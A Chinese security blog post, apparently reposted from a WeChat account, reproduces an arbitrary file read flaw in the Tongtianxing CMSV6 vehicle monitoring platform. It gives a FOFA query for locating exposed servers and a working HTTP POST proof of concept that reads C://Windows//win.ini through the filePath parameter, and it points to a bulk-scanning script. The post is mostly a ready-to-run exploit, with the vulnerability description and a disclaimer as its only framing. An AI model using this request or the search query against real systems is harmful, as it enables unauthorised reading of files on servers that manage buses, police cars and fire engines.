漏洞复现-通天星CMSV6 StandardReportMediaAction_getImage任意文件读取

admin 2024年2月27日15:03:42评论30 views字数 651阅读2分10秒阅读模式
免责声明

文章中敏感信息均已做多层打马处理。传播、利用本文章所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,作者不为此承担任何责任,一旦造成后果请自行负责。如有侵权烦请告知,我会立即删除并致歉。谢谢!

一:漏洞描述

通天星CMSV6广泛应用于公交车、出租车、物流车等商用车辆,以及警车、消防车等特种车辆,提高车辆安全性和管理效率,帮助用户了解车辆运行情况,提供有效证据支持事故调查和纠纷解决。该产品任意文件读取漏洞。

二:漏洞影响版本

通天星 CMSV6  

三:网络空间测绘查询

fofa:body="808gps"

漏洞复现-通天星CMSV6 StandardReportMediaAction_getImage任意文件读取

漏洞复现-通天星CMSV6 StandardReportMediaAction_getImage任意文件读取

四:漏洞复现

POC1:

POST /808gps/StandardReportMediaAction_getImage.action?filePath=C://Windows//win.ini&fileOffset=1&fileSize=100 HTTP/1.1Host: User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1Connection: closeContent-Length: 0Accept-Encoding: gzip

漏洞复现-通天星CMSV6 StandardReportMediaAction_getImage任意文件读取

五:批量检测 

漏洞复现-通天星CMSV6 StandardReportMediaAction_getImage任意文件读取

关注【Adler学安全】公众号,回复关键字0226获取批量验证脚本

原文始发于微信公众号(Adler学安全):漏洞复现-通天星CMSV6 StandardReportMediaAction_getImage任意文件读取

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年2月27日15:03:42
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   漏洞复现-通天星CMSV6 StandardReportMediaAction_getImage任意文件读取https://cn-sec.com/archives/2528254.html

发表评论

匿名网友 填写信息